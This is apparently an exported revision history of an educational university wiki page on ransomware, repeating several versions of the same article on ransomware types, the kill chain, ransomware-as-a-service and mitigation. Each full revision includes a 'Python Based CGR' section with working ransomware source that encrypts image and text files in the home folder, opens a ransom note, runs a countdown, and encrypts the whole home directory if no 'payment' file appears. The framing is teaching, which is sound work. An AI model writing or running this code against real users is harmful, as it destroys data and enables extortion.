                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
* Malwarebytes.com. 2021. [https://www.malwarebytes.com/ransomware What is Ransomware?]&lt;br /&gt;
&lt;br /&gt;
* usa.kaspersky.com. 2021. [https://usa.kaspersky.com/resource-center/definitions/scareware What is Scareware?]&lt;br /&gt;
&lt;br /&gt;
* crowdstrike.com. 2021. [https://www.crowdstrike.com/cybersecurity-101/ransomware/ransomware-as-a-service-raas/ Ransomware as a Service (RaaS) Explained]&lt;br /&gt;
&lt;br /&gt;
* Kost, E., 2021. [https://www.upguard.com/blog/what-is-ransomware-as-a-service What is Ransomware as a Service (RaaS)?]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8795</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8795"/>
		<updated>2021-12-21T12:58:43Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: Added NCR types&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.&lt;br /&gt;
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
** Symmetric&lt;br /&gt;
** Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency. There is no other easy way to decrypt the data than using the decryption key. &amp;lt;br /&amp;gt;&lt;br /&gt;
The main currencies used for paying the ransom are digital cryptocurrencies like Monero, Etherium or Bitcoin, because they are:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
=== Screen-Lockers ===&lt;br /&gt;
&lt;br /&gt;
The main goal of screen-lockers is to restrict access to a victim’s system at the operating system level, meaning that the affected device or system cannot be used. The only thing that is displayed when booting the system, is typically a message demanding a ransom.&lt;br /&gt;
&lt;br /&gt;
=== Extortionware ===&lt;br /&gt;
&lt;br /&gt;
Extortion is used by attackers to extort money from their victims, by to gathering as much information as possible and stealing that personal information and data that the victim wants to keep private. The attackers then can threaten to release it, if the ransom is not paid. Mostly none of the victim’s data is encrypted and none of their systems is blocked, but they have to pay if they do not want their private information to be leaked.&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Distribution Types Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Spam Emails ====&lt;br /&gt;
&lt;br /&gt;
In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phising emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim&#039;s computer.&lt;br /&gt;
&lt;br /&gt;
==== Malicious Advertising ====&lt;br /&gt;
&lt;br /&gt;
Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim&#039;s computer. This happens while the victim does not notice any of it.&lt;br /&gt;
&lt;br /&gt;
==== Scareware ==== &lt;br /&gt;
&lt;br /&gt;
Scareware is used to scare victim&#039;s into downloading malicious software. Example would be a pop-up in the victim&#039;s browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Ransomware as a Service (RaaS) ==&lt;br /&gt;
&lt;br /&gt;
Ransomware as a Service is a growing business model on the dark web used by ransomware developers to distribute and sell their malware as service. Anybody, even without much technical knowledge, can execute ransomware attacks by just subscribing to this service. RaaS kits are rather easy to find on the dark web, where they are advertised like a normal product. These services may also offer a dashboard where the attacker has an overview of the progress, or even documentation with a step-by-step guide on how to use the ransomware. There are different types of RaaS revenue models, like a monthly subscription for a flat fee, a one-time license fee or a monthly fee but where a specific percentage of the ransomware profits is going to the RaaS-provider.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
* Malwarebytes.com. 2021. [https://www.malwarebytes.com/ransomware What is Ransomware?]&lt;br /&gt;
&lt;br /&gt;
* usa.kaspersky.com. 2021. [https://usa.kaspersky.com/resource-center/definitions/scareware What is Scareware?]&lt;br /&gt;
&lt;br /&gt;
* crowdstrike.com. 2021. [https://www.crowdstrike.com/cybersecurity-101/ransomware/ransomware-as-a-service-raas/ Ransomware as a Service (RaaS) Explained]&lt;br /&gt;
&lt;br /&gt;
* Kost, E., 2021. [https://www.upguard.com/blog/what-is-ransomware-as-a-service What is Ransomware as a Service (RaaS)?]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8779</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8779"/>
		<updated>2021-12-21T12:35:10Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: Added Ransomware as a Service&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.&lt;br /&gt;
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
** Symmetric&lt;br /&gt;
** Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency. There is no other easy way to decrypt the data than using the decryption key. &amp;lt;br /&amp;gt;&lt;br /&gt;
The main currencies used for paying the ransom are digital cryptocurrencies like Monero, Etherium or Bitcoin, because they are:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Distribution Types Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Spam Emails ====&lt;br /&gt;
&lt;br /&gt;
In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phising emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim&#039;s computer.&lt;br /&gt;
&lt;br /&gt;
==== Malicious Advertising ====&lt;br /&gt;
&lt;br /&gt;
Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim&#039;s computer. This happens while the victim does not notice any of it.&lt;br /&gt;
&lt;br /&gt;
==== Scareware ==== &lt;br /&gt;
&lt;br /&gt;
Scareware is used to scare victim&#039;s into downloading malicious software. Example would be a pop-up in the victim&#039;s browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
